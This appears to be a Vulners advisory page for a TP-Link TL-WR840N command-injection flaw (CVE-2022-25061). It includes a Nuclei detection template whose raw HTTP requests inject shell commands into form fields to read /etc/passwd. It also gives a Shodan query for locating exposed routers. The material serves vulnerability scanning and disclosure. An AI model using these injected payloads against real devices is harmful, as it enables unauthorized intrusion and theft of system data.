| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2022-25061 | 25 Feb 202220:15 | – | attackerkb | |
| The vulnerability in the implementation of the oal_setIp6DefaultRoute() function in the libcmm.so module of the TP-Link TL-WR840N (ES) router’s software allows a attacker to execute arbitrary commands. | 28 Mar 202200:00 | – | bdu_fstec | |
| CVE-2022-25061 | 25 Feb 202222:21 | – | circl | |
| TP-LINK TL-WR840N 操作系统命令注入漏洞 | 25 Feb 202200:00 | – | cnnvd | |
| Tp-link TL-WR840N Command Injection Vulnerability | 1 Mar 202200:00 | – | cnvd | |
| TP-Link TL-WR840N Command Injection (CVE-2022-25061) | 22 Nov 202200:00 | – | checkpoint_advisories | |
| CVE-2022-25061 | 25 Feb 202219:39 | – | cve | |
| CVE-2022-25061 | 25 Feb 202219:39 | – | cvelist | |
| CVE-2022-25061 | 25 Feb 202220:15 | – | nvd | |
| CVE-2022-25061 | 25 Feb 202220:15 | – | osv |
id: CVE-2022-25061
info:
name: TP-Link TL-WR840N - Command Injection
author: ritikchaddha
severity: critical
description: |
The TP-Link TL-WR840N(ES)_V6.20_180709 router contains a command injection vulnerability in the oal_setIp6DefaultRoute component. This vulnerability allows authenticated attackers to execute arbitrary system commands, leading to complete device compromise.
impact: |
Authenticated attackers can inject system commands through the oal_setIp6DefaultRoute component to execute arbitrary commands on the TP-Link router, enabling complete device compromise and network infiltration.
remediation: |
Update firmware to the latest version if available. If no firmware update is available,consider implementing network segmentation to limit access to the router's management interface.
reference:
- https://github.com/exploitwritter/CVE-2022-25061/blob/main/CVE-2022-25061.py
- https://east-trowel-102.notion.site/CVE-2021-XXXX-Injection-of-commands-through-object-oal_setIp6DefaultRoute-EN-ddf9c1db199d49829269147ada6cb312
- https://nvd.nist.gov/vuln/detail/CVE-2022-25061
- http://router.com
- http://tp-link.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-25061
cwe-id: CWE-78
epss-score: 0.72495
epss-percentile: 0.9937
cpe: cpe:2.3:o:tp-link:tl-wr840n_firmware:6.20_180709:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: tp-link
product: tl-wr840n_firmware
shodan-query: 'title:"TL-WR840N"'
tags: cve,cve2022,tplink,router,rce,iot,authenticated,vuln
variables:
filename: "{{to_lower(rand_text_alpha(3))}}"
http:
- raw:
- |
POST /cgi?2 HTTP/1.1
Host: {{Hostname}}
Content-Type: text/plain
Authorization: Basic {{base64(username + ':' + password)}}
Referer: {{RootURL}}/mainFrame.htm
[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,5
enable=1
userName=;cat /etc/passwd > /tmp/{{filename}}.txt;
password=;cat /proc/cpuinfo >> /tmp/{{filename}}.txt;
userDomain=;cat /tmp/{{filename}}.txt;
login=1
- |
POST /cgi?2 HTTP/1.1
Host: {{Hostname}}
Content-Type: text/plain
Authorization: Basic {{base64(username + ':' + password)}}
Referer: {{RootURL}}/mainFrame.htm
[L3_IP6_FORWARDING#0,0,0,0,0,0#0,0,0,0,0,0]0,3
__ifAliasName=ewan_ipoev6_d
__ifName=;cat /tmp/{{filename}}.txt;
defaultConnectionService=
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 4a0a0047304502207a90f6b1584107de0e61f6526fc5e5490b290b5673cdddff210bd20b9d92a7f7022100f9dfab6131ecb51785e63673f0f75fd254259e1b7b7ebb9cbdcb4b8191b3c57c:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation